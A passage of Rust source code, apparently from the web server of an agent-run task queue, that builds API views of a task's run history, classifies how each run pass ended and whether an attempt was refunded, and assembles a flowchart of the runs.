6325    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
6326    kind: &'static str,
6327    /// The run's own status string; `None` when its record cannot be read.
6328    status: Option<&'static str>,
6329    /// Whether this build could read the run's record. Counted, never hidden.
6330    readable: bool,
6331    /// A verdict from a collapsed panel is provisional, never a decision.
6332    provisional: bool,
6333    /// What kind of attempt this was, in one line.
6334    description: String,
6335    /// How it ended and why the task moved on (or what it is doing now).
6336    outcome: String,
6337    created_at: Option<Timestamp>,
6338    pr: Option<String>,
6339    /// Why this pass ended, classified once; the flowchart is built from it.
6340    exit: RunExit,
6341    /// What the pass did to the task's attempt budget.
6342    attempt: AttemptCost,
6343    /// Edge wording for leaving this entry; names the recorded cause when
6344    /// there is one.
6345    exit_label: String,
6346    /// The position of a later entry for the same run: this entry is an
6347    /// earlier pass of it.
6348    later_pass: Option<usize>,
6349    /// Which pass over the run this entry is (1-based) and how many entries
6350    /// the task lists for the run. Counted from the list, so known even for
6351    /// a legacy record.
6352    pass_n: usize,
6353    passes_of_run: usize,
6354    /// What the run recorded about this pass; `None` for a record from before
6355    /// passes were kept, whose cause stays unknown.
6356    pass: Option<PassView>,
6357    /// The branch a review-only run reopened.
6358    branch: Option<String>,
6359    /// The badge word when it differs from `status` (`stale` / `superseded`);
6360    /// filled by the task route, which can see liveness and later attempts.
6361    badge: Option<String>,
6362}
6363
6364/// One recorded pass over a run, for the wire.
6365#[derive(Debug, Clone, PartialEq, Serialize)]
6366struct PassView {
6367    index: usize,
6368    resumed: bool,
6369    started_at: Timestamp,
6370    ended_at: Option<Timestamp>,
6371    /// `open`, `parked` or `unrecorded`.
6372    end: &'static str,
6373    cause: Option<crate::run::ParkCause>,
6374    /// One line: why it stopped, or that nobody recorded why.
6375    label: String,
6376    /// What the task recorded for this pass; `None` when it was not settled
6377    /// (or settled by a build that kept no record).
6378    cost: Option<crate::queue::PassCost>,
6379}
6380
6381impl PassView {
6382    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6383        use crate::run::PassEnd;
6384        let (end, cause, label) = match &p.end {
6385            None => ("open", None, "still open".to_owned()),
6386            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6387            Some(PassEnd::Unrecorded) => (
6388                "unrecorded",
6389                None,
6390                "stopped without recording why (a crash, a kill or a restart; not known)"
6391                    .to_owned(),
6392            ),
6393        };
6394        Self {
6395            index: p.index,
6396            resumed: p.resumed,
6397            started_at: p.started_at,
6398            ended_at: p.ended_at,
6399            end,
6400            cause,
6401            label,
6402            cost: settled.map(|t| t.cost),
6403        }
6404    }
6405}
6406
6407/// How one pass over a run ended, as far as the task's life is concerned.
6408#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6409#[serde(rename_all = "snake_case")]
6410enum RunExit {
6411    Unreadable,
6412    /// An earlier pass of a run id that appears again: it stopped short.
6413    Interrupted,
6414    Parked,
6415    MachineBlocked,
6416    QuotaStall,
6417    /// Stalled on a resumed pass with quota losses on record: they may be
6418    /// left over from an earlier pass, so whether this one was refunded is
6419    /// not knowable.
6420    ResumedQuotaStall,
6421    Merged,
6422    Ready,
6423    Superseded,
6424    /// The change was already on the base under other commits: the task
6425    /// finished without this run landing anything.
6426    AlreadyInBase,
6427    /// Stalled without a rate limit to blame: no verdict, attempt spent.
6428    Stalled,
6429    /// Blocked / no-op with a pull request left open: held for a person.
6430    HeldWithPr,
6431    NoopHeld,
6432    /// Blocked or failed: the attempt is spent and the task retries or holds.
6433    Spent,
6434    InProgress,
6435}
6436
6437#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6438#[serde(rename_all = "snake_case")]
6439enum AttemptCost {
6440    Spent,
6441    Refunded,
6442    None,
6443    /// Cannot be told from the records that remain.
6444    Unknown,
6445}
6446
6447impl RunExit {
6448    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6449        let Some(s) = s else {
6450            return Self::Unreadable;
6451        };
6452        let status = s.status;
6453        if resumed_later {
6454            Self::Interrupted
6455        } else if s.parked {
6456            Self::Parked
6457        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6458            Self::MachineBlocked
6459        } else if !status.done() {
6460            Self::InProgress
6461        } else if matches!(status, RunStatus::Merged) {
6462            Self::Merged
6463        } else if matches!(status, RunStatus::Ready) {
6464            Self::Ready
6465        } else if matches!(status, RunStatus::Superseded) {
6466            Self::Superseded
6467        } else if matches!(status, RunStatus::AlreadyInBase) {
6468            Self::AlreadyInBase
6469        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6470            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6471        {
6472            if resumed {
6473                Self::ResumedQuotaStall
6474            } else {
6475                Self::QuotaStall
6476            }
6477        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6478            Self::HeldWithPr
6479        } else if matches!(status, RunStatus::VerifiedNoop) {
6480            Self::NoopHeld
6481        } else if matches!(status, RunStatus::Stalled) {
6482            Self::Stalled
6483        } else {
6484            Self::Spent
6485        }
6486    }
6487
6488    fn cost(self) -> AttemptCost {
6489        match self {
6490            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6491            Self::Merged
6492            | Self::Ready
6493            | Self::Stalled
6494            | Self::HeldWithPr
6495            | Self::NoopHeld
6496            | Self::Spent => AttemptCost::Spent,
6497            Self::InProgress => AttemptCost::None,
6498            Self::AlreadyInBase => AttemptCost::Refunded,
6499            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6500                AttemptCost::Unknown
6501            }
6502        }
6503    }
6504
6505    /// Short edge wording for leaving a run this way.
6506    fn edge_label(self, status: Option<&str>) -> String {
6507        match self {
6508            Self::Unreadable => "record unreadable".to_owned(),
6509            Self::Interrupted => "interrupted before the run finished".to_owned(),
6510            Self::Parked => "parked, attempt refunded".to_owned(),
6511            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6512            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6513            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6514            Self::Merged => "merged".to_owned(),
6515            Self::Ready => "ready, not merged".to_owned(),
6516            Self::Superseded => "superseded by a later attempt".to_owned(),
6517            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6518            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6519            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6520            Self::NoopHeld => "verified no-op".to_owned(),
6521            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6522            Self::InProgress => "in progress".to_owned(),
6523        }
6524    }
6525
6526    /// Does a task in `end` follow from a run that ended this way? When not,
6527    /// somebody closed or held the task by hand.
6528    fn explains(self, end: TaskStatus) -> bool {
6529        match self {
6530            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6531            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6532            Self::Unreadable | Self::Superseded | Self::Ready => true,
6533            _ => end != TaskStatus::Done,
6534        }
6535    }
6536}
6537
6538/// `GET /api/queue/{id}` - one task with every attempt it went through.
6539#[derive(Debug, Serialize)]
6540struct TaskDetailView {
6541    #[serde(flatten)]
6542    task: TaskView,
6543    /// Task override, or the default daemon budget when inherited.
6544    /// A separate loop's command-line limit is not visible from here.
6545    max_attempts: usize,
6546    history: Vec<TaskRunView>,
6547    /// Entries in `history`: passes over runs, not distinct runs and not
6548    /// attempts consumed (`task.attempts`).
6549    passes_total: usize,
6550    /// Distinct runs those passes belong to.
6551    runs_distinct: usize,
6552    flow: FlowView,
6553    /// Set for a follow-up task; see [`followup_origin`].
6554    followup_origin: Option<FollowUpOrigin>,
6555    /// How many entries of `history` could not be read.
6556    runs_unreadable: usize,
6557    /// Why the attempt count can be lower than the number of runs.
6558    attempts_note: &'static str,
6559}
6560
6561const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6562and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6563on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6564the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6565
6566/// The branch a review-only run reopened, read off the instruction
6567/// `Runner::open_review` writes.
6568fn review_branch_of(instruction: &str) -> Option<&str> {
6569    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6570    rest.split('`').next().filter(|b| !b.is_empty())
6571}
6572
6573/// Where an entry sits in a task's run list.
6574#[derive(Default)]
6575struct RunSlot<'a> {
6576    /// 1-based position.
6577    n: usize,
6578    /// The same run id appeared earlier: this pass resumed it.
6579    resumed: bool,
6580    /// Position of a later pass over the same run id, if any.
6581    resumed_later: Option<usize>,
6582    /// The previous distinct run and how it ended, for the retry note.
6583    prior: Option<(&'a str, RunStatus)>,
6584    last: bool,
6585    /// This pass as the run recorded it, when it did.
6586    pass: Option<&'a crate::run::RunPass>,
6587    /// What the task recorded when it settled this pass.
6588    settled: Option<&'a crate::queue::TaskPass>,
6589    /// 1-based position among the task's entries for this run, and their count.
6590    pass_n: usize,
6591    passes_of_run: usize,
6592}
6593
6594/// Describe one entry of a task's run list. Pure: everything it needs is on
6595/// the run and the task, so it is asserted without a server.
6596fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6597    let RunSlot {
6598        n,
6599        resumed,
6600        resumed_later,
6601        prior,
6602        last,
6603        pass,
6604        settled,
6605        pass_n,
6606        passes_of_run,
6607    } = at;
6608    let short = run::short_of(id).to_owned();
6609    let Some(s) = state else {
6610        return TaskRunView {
6611            activity: None,
6612            n,
6613            id: id.to_owned(),
6614            short,
6615            kind: "unknown",
6616            status: None,
6617            readable: false,
6618            provisional: false,
6619            description:
6620                "This run's record could not be read by this build (written by a different \
6621                          magi, or removed), so what kind of attempt it was is unknown."
6622                    .to_owned(),
6623            outcome: String::new(),
6624            created_at: None,
6625            pr: None,
6626            exit: RunExit::Unreadable,
6627            attempt: AttemptCost::Unknown,
6628            exit_label: RunExit::Unreadable.edge_label(None),
6629            later_pass: resumed_later,
6630            pass_n,
6631            passes_of_run,
6632            pass: None,
6633            branch: None,
6634            badge: None,
6635        };
6636    };
6637    let branch = review_branch_of(&s.instruction);
6638    let kind = if resumed {
6639        "resume"
6640    } else if branch.is_some() {
6641        "review"
6642    } else if task.solo || s.candidates.len() == 1 {
6643        "solo"
6644    } else {
6645        "competition"
6646    };
6647    let mut description = match kind {
6648        "resume" => {
6649            format!("Resumed run {short}: the same run carried on instead of competing again.")
6650        }
6651        "review" => format!(
6652            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6653            branch.unwrap_or_default()
6654        ),
6655        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6656        _ => format!(
6657            "Competition: {} candidates judged blind.",
6658            s.candidates.len().max(1)
6659        ),
6660    };
6661    if !resumed && let Some((p, st)) = prior {
6662        description.push_str(&format!(
6663            " A retry: run {p} before it ended {}.",
6664            st.display_label()
6665        ));
6666    }
6667
6668    let status = s.status;
6669    let provisional = matches!(status, RunStatus::Stalled)
6670        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6671    let head = if resumed_later.is_some() {
6672        String::new()
6673    } else {
6674        match status {
6675            RunStatus::Merged => "Merged.".to_owned(),
6676            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6677            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6678            RunStatus::AlreadyInBase => {
6679                "Already in the base: this change landed under other commits, nothing was left to land."
6680                    .to_owned()
6681            }
6682            RunStatus::Stalled => {
6683                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6684                    .to_owned()
6685            }
6686            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6687            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6688            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6689            RunStatus::VerifiedNoop => {
6690                "Verified no-op: the candidates found nothing to change.".to_owned()
6691            }
6692            other if other.done() => format!("Ended {}.", other.display_label()),
6693            other => format!("In progress ({}).", other.display_label()),
6694        }
6695    };
6696    let view = pass.map(|p| PassView::of(p, settled));
6697    let recorded_end = view
6698        .as_ref()
6699        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6700    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6701        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6702        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6703        None => "whether its attempt was handed back was not recorded",
6704    };
6705    let pass_note = if passes_of_run > 1 {
6706        format!(
6707            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6708        )
6709    } else {
6710        String::new()
6711    };
6712    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6713        // The run recorded this pass's end when it happened.
6714        let cause = match v.end {
6715            "parked" => format!("It was stopped on purpose: {}.", v.label),
6716            _ => format!("It {}.", v.label),
6717        };
6718        format!(
6719            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6720            capitalise(cost_words)
6721        )
6722    } else if let Some(k) = resumed_later {
6723        // A run is only picked up again while it is unfinished, so an earlier
6724        // pass of a repeated id stopped short; the record keeps only the run's
6725        // latest status, which is left to the pass that carried it on.
6726        // Only the latest state is recorded: `parked` is cleared on resume
6727        // and `quota` accumulates across passes, so neither says why *this*
6728        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6729        let cause = if s.quota.is_empty() {
6730            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6731        } else {
6732            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6733        };
6734        format!(
6735            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6736        )
6737    } else if s.parked {
6738        match recorded_end.and_then(|v| v.cause.as_ref()) {
6739            Some(cause) => format!(
6740                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6741                cause.label(),
6742                cost_words
6743            ),
6744            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6745                .to_owned(),
6746        }
6747    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6748        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6749    } else if !status.done()
6750        || matches!(
6751            status,
6752            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6753        )
6754    {
6755        String::new()
6756    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6757        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6758    {
6759        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6760            .to_owned()
6761    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6762        " It left a pull request open, so the task was held for a person rather than retried."
6763            .to_owned()
6764    } else if matches!(status, RunStatus::VerifiedNoop) {
6765        " Held for a person to check the claim.".to_owned()
6766    } else if last {
6767        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6768    } else {
6769        " It spent an attempt, and the task moved on to the next run.".to_owned()
6770    };
6771    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6772    let mut attempt = exit.cost();
6773    let mut exit_label = None;
6774    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6775        let spent = match v.cost {
6776            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6777            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6778            None if resumed_later.is_some() => ", refund not recorded",
6779            None => ", attempt refunded",
6780        };
6781        attempt = match v.cost {
6782            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6783            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6784            None if resumed_later.is_some() => AttemptCost::Unknown,
6785            None => attempt,
6786        };
6787        if v.end == "parked" {
6788            exit = RunExit::Parked;
6789            exit_label = Some(match v.cause.as_ref() {
6790                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6791                    format!("parked for {}{spent}", c.label())
6792                }
6793                Some(c) => format!("parked ({}){spent}", c.label()),
6794                None => format!("parked{spent}"),
6795            });
6796        } else {
6797            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6798        }
6799    }
6800    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6801    TaskRunView {
6802        activity: None,
6803        n,
6804        id: id.to_owned(),
6805        short,
6806        kind,
6807        status: Some(status.as_str()),
6808        readable: true,
6809        provisional,
6810        description,
6811        outcome: format!("{head}{why}"),
6812        created_at: Some(s.created_at),
6813        pr: s.pr.as_ref().map(|p| p.url.clone()),
6814        exit,
6815        attempt,
6816        exit_label,
6817        later_pass: resumed_later,
6818        pass_n,
6819        passes_of_run,
6820        pass: view,
6821        branch: branch.map(str::to_owned),
6822        badge: None,
6823    }
6824}
6825
6826fn capitalise(s: &str) -> String {
6827    let mut c = s.chars();
6828    c.next().map_or_else(String::new, |f| {
6829        f.to_uppercase().collect::<String>() + c.as_str()
6830    })
6831}
6832
6833/// One box of the task's flowchart.
6834#[derive(Debug, Serialize, PartialEq)]
6835struct FlowNode {
6836    /// Unique by position: a resumed run id appears once per pass.
6837    key: String,
6838    /// `chat`, `followup`, `start`, `run` or `end`.
6839    kind: &'static str,
6840    label: String,
6841    /// Run status (or the task's, for `end`); `None` when it is not a fact
6842    /// about this box (unreadable, or a pass the run later resumed from).
6843    status: Option<&'static str>,
6844    /// Whose status `status` is, so the client picks the right colour table:
6845    /// `task` (the `followup` parent and `end`) or `run`.
6846    status_of: &'static str,
6847    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6848    note: Option<&'static str>,
6849    run_kind: Option<&'static str>,
6850    detail: Option<String>,
6851    /// A readable run with a real verdict; a stall never is.
6852    decided: bool,
6853    readable: bool,
6854    href: Option<String>,
6855    /// Overrides `status` as the badge word (`stale` / `superseded`).
6856    badge: Option<String>,
6857    /// Start of this entry, never the run's latest update or pass settlement.
6858    started_at: Option<Timestamp>,
6859    /// Context links (chat / follow-up) do not represent execution entries.
6860    time_expected: bool,
6861}
6862
6863#[derive(Debug, Serialize, PartialEq)]
6864struct FlowEdge {
6865    from: String,
6866    to: String,
6867    label: String,
6868    attempt: AttemptCost,
6869}
6870
6871#[derive(Debug, Serialize, PartialEq)]
6872struct FlowView {
6873    nodes: Vec<FlowNode>,
6874    edges: Vec<FlowEdge>,
6875    /// Attempts the task has counted since it was last released.
6876    attempts: usize,
6877    max_attempts: usize,
6878    /// Entries in the run list (passes), and how many distinct runs they are.
6879    /// Neither is the number of attempts consumed.
6880    passes: usize,
6881    runs: usize,
6882}
6883
6884/// Turn a task and its described runs into the flowchart's boxes and arrows.
6885/// Pure: the page only draws what this returns.
6886///
6887/// A follow-up opens with its parent (or the merged run) unless the task's
6888/// *source* is itself a chat, in which case the chat stays first and the
6889/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6890/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6891/// two normally do not coincide and the nearer origin wins.
6892fn task_flow(
6893    task: &Task,
6894    history: &[TaskRunView],
6895    max_attempts: usize,
6896    origin: Option<&FollowUpOrigin>,
6897) -> FlowView {
6898    let max_attempts = task.effective_attempt_limit(max_attempts);
6899    let node = |key: &str, kind, label: String| FlowNode {
6900        key: key.to_owned(),
6901        kind,
6902        label,
6903        status: None,
6904        status_of: "run",
6905        note: None,
6906        run_kind: None,
6907        detail: None,
6908        decided: false,
6909        readable: true,
6910        href: None,
6911        badge: None,
6912        started_at: None,
6913        time_expected: matches!(kind, "start" | "run" | "end"),
6914    };
6915    let mut nodes = Vec::new();
6916    let mut edges: Vec<FlowEdge> = Vec::new();
6917    // A task queued from a chat opens the flow with that conversation.
6918    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6919        let mut n = node(
6920            "chat",
6921            "chat",
6922            format!("Chat {}", crate::queue::short(&link.id)),
6923        );
6924        n.href = Some(link.href);
6925        nodes.push(n);
6926        edges.push(FlowEdge {
6927            from: "chat".to_owned(),
6928            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6929            label: "queued from chat".to_owned(),
6930            attempt: AttemptCost::None,
6931        });
6932    }
6933    if let Some(o) = origin {
6934        let mut n = match &o.parent {
6935            Some(p) => {
6936                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6937                n.status = Some(p.status);
6938                n.status_of = "task";
6939                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6940                n.href = Some(p.href.clone());
6941                n
6942            }
6943            None => {
6944                let mut n = node(
6945                    "origin",
6946                    "followup",
6947                    format!("Follow-up of run {}", o.run.short),
6948                );
6949                n.detail = Some("merged run".to_owned());
6950                n.status = o.run.status;
6951                n.href = o.run.href.clone();
6952                if o.run.href.is_none() {
6953                    n.readable = false;
6954                    n.note = Some("unreadable");
6955                }
6956                n
6957            }
6958        };
6959        n.decided = true;
6960        let from = n.key.clone();
6961        nodes.push(n);
6962        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6963        let more = o.findings.len().saturating_sub(shown.len());
6964        let label = match (shown.is_empty(), more) {
6965            (true, _) => "open findings".to_owned(),
6966            (false, 0) => format!("open findings {}", shown.join(", ")),
6967            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6968        };
6969        edges.push(FlowEdge {
6970            from,
6971            to: "start".to_owned(),
6972            label,
6973            attempt: AttemptCost::None,
6974        });
6975    }
6976    let mut start = node("start", "start", "Task queued".to_owned());
6977    start.started_at = Some(task.created_at);
6978    nodes.push(start);
6979    let mut prev = "start".to_owned();
6980    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6981    for (i, h) in history.iter().enumerate() {
6982        let key = format!("run-{}", h.n);
6983        let mut n = node(&key, "run", format!("Run {}", h.short));
6984        // Creation marks only the first pass of legacy runs. A resumed pass
6985        // without a record must not inherit the original run's start time.
6986        n.started_at = h
6987            .readable
6988            .then(|| {
6989                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6990                    h.created_at
6991                } else {
6992                    None
6993                })
6994            })
6995            .flatten();
6996        n.run_kind = Some(h.kind);
6997        n.readable = h.readable;
6998        n.href = Some(format!("#/runs/{}", h.id));
6999        n.decided = h.readable && !h.provisional;
7000        n.detail = h
7001            .branch
7002            .as_ref()
7003            .map(|b| format!("review-only run of branch {b}"));
7004        match h.exit {
7005            RunExit::Unreadable => n.note = Some("unreadable"),
7006            RunExit::Interrupted => n.note = Some("interrupted"),
7007            // An earlier pass the run recorded as parked: the status shown
7008            // would be the run's current one, not this pass's.
7009            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
7010            _ => {
7011                n.status = h.status;
7012                n.badge = h.badge.clone();
7013                if h.provisional {
7014                    n.note = Some("no verdict");
7015                }
7016            }
7017        }
7018        let into = match h.kind {
7019            "review" => Some(format!(
7020                "review-only run of branch {}",
7021                h.branch.as_deref().unwrap_or("?")
7022            )),
7023            "resume" => Some("resume the same run".to_owned()),
7024            _ if i > 0 => Some("retry".to_owned()),
7025            _ => None,
7026        };
7027        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
7028        let label = match (prev_exit, into) {
7029            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
7030            (Some((_, l, _)), None) => l,
7031            (None, Some(i)) => i,
7032            (None, None) => "claimed".to_owned(),
7033        };
7034        edges.push(FlowEdge {
7035            from: prev.clone(),
7036            to: key.clone(),
7037            label,
7038            attempt,
7039        });
7040        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
7041        prev = key;
7042        nodes.push(n);
7043    }
7044    let mut end = node("end", "end", task.status.as_str().to_owned());
7045    end.status = Some(task.status.as_str());
7046    end.status_of = "task";
7047    // Other task states do not persist their transition start. In particular,
7048    // blocked_at can change while the task remains blocked.
7049    if task.status == TaskStatus::Held {
7050        end.started_at = task.held_at;
7051    }
7052    nodes.push(end);
7053    let (label, attempt) = match prev_exit {
7054        None => (
7055            format!("no run yet \u{2192} {}", task.status.as_str()),
7056            AttemptCost::None,
7057        ),
7058        Some((e, l, cost)) if e.explains(task.status) => {
7059            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
7060        }
7061        Some((_, _, cost)) => (
7062            format!("closed by hand: task is {}", task.status.as_str()),
7063            cost,
7064        ),
7065    };
7066    edges.push(FlowEdge {
7067        from: prev,
7068        to: "end".to_owned(),
7069        label,
7070        attempt,
7071    });
7072    FlowView {
7073        nodes,
7074        edges,
7075        attempts: task.attempts,
7076        max_attempts,
7077        passes: history.len(),
7078        runs: distinct_runs(&task.runs),
7079    }
7080}
7081
7082/// How many different run ids a task's run list names.
7083fn distinct_runs(runs: &[String]) -> usize {
7084    let mut seen: Vec<&str> = Vec::new();
7085    for r in runs {
7086        if !seen.contains(&r.as_str()) {
7087            seen.push(r);
7088        }
7089    }
7090    seen.len()
7091}
7092
7093/// Describe recorded task passes, retaining unrecorded legacy list entries.
7094fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
7095    let mut slots = Vec::new();
7096    let mut seen = Vec::new();
7097    for run_id in &task.runs {
7098        if seen.contains(&run_id) {
7099            continue;
7100        }
7101        seen.push(run_id);
7102        let state = read(run_id);
7103        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
7104            s.passes
7105                .iter()
7106                .filter(|p| {
7107                    p.task_entry
7108                        || task
7109                            .passes
7110                            .iter()
7111                            .any(|t| t.run == *run_id && t.pass_index == p.index)
7112                })
7113                .cloned()
7114                .collect()
7115        });
7116        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
7117        let total = legacy_count.max(mine.len());
7118        let offset = total - mine.len();
7119        for k in 0..total {
7120            // Legacy repeated entries retain their original positions. When
7121            // ids are unique, recorded pass times recover the resume order.
7122            let position = task
7123                .runs
7124                .iter()
7125                .enumerate()
7126                .filter(|(_, r)| *r == run_id)
7127                .nth(k.min(legacy_count - 1))
7128                .unwrap()
7129                .0;
7130            slots.push((
7131                run_id,
7132                state.clone(),
7133                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
7134                position,
7135            ));
7136        }
7137    }
7138    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
7139        slots.sort_by_key(|(_, state, pass, _)| {
7140            pass.as_ref()
7141                .map(|p| p.started_at)
7142                .or_else(|| state.as_ref().map(|s| s.created_at))
7143                .map_or((true, task.created_at), |at| (false, at))
7144        });
7145    } else {
7146        slots.sort_by_key(|(_, _, _, position)| *position);
7147    }
7148    let mut history = Vec::with_capacity(slots.len());
7149    let mut seen: Vec<&str> = Vec::new();
7150    let mut prior: Option<(&str, RunStatus)> = None;
7151    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
7152        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
7153        let resumed = k > 0;
7154        seen.push(run_id);
7155        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
7156        let pass = pass.as_ref();
7157        let settled = pass.and_then(|p| {
7158            task.passes
7159                .iter()
7160                .find(|t| t.run == **run_id && t.pass_index == p.index)
7161        });
7162        history.push(task_run_view(
7163            run_id,
7164            state.as_ref(),
7165            RunSlot {
7166                n: i + 1,
7167                resumed,
7168                resumed_later: slots[i + 1..]
7169                    .iter()
7170                    .position(|(id, _, _, _)| id == run_id)
7171                    .map(|off| i + off + 2),
7172                prior,
7173                last: i + 1 == slots.len(),
7174                pass,
7175                settled,
7176                pass_n: k + 1,
7177                passes_of_run: total,
7178            },
7179            task,
7180        ));
7181        if let Some(s) = &state {
7182            prior = Some((run::short_of(run_id), s.status));
7183        }
7184    }
7185    history
7186}
7187
7188/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
7189/// An earlier pass of a resumed run keeps no badge (it has no status box).
7190fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
7191    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
7192        return;
7193    }
7194    let (_, claimed, _) = run_row_inputs(ui);
7195    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
7196    for h in history
7197        .iter_mut()
7198        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
7199    {
7200        let Ok(state) = read_run(&ui.runs, &h.id) else {
7201            continue;
7202        };
7203        if state.status.done() {
7204            continue;
7205        }
7206        let live = state.liveness_with(
7207            claimed.contains(&h.id),
7208            |p| probe.borrow_mut().status(p),
7209            |p| probe.borrow_mut().started_at(p),
7210        );
7211        let waiting = !ui.questions.open_for(&h.id).is_empty();
7212        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
7213        let display = run_display_status(&state, waiting, live);
7214        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
7215        if matches!(word.as_str(), "stale" | "superseded")
7216            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
7217        {
7218            h.badge = Some(word);
7219        }
7220    }
7221}
7222
7223async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
7224    blocking(move || {
7225        let id = resolve_task(&ui.queue, &id)?;
7226        let task = ui.queue.get(&id)?;
7227        let inv = (task.status == TaskStatus::Blocked)
7228            .then(|| crate::blockers::Inventory::load_for(&ui.queue, &ui.questions, &task));
7229        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
7230        let view = match inv.as_ref() {
7231            Some(inv) => TaskView::with_inventory(task, inv),
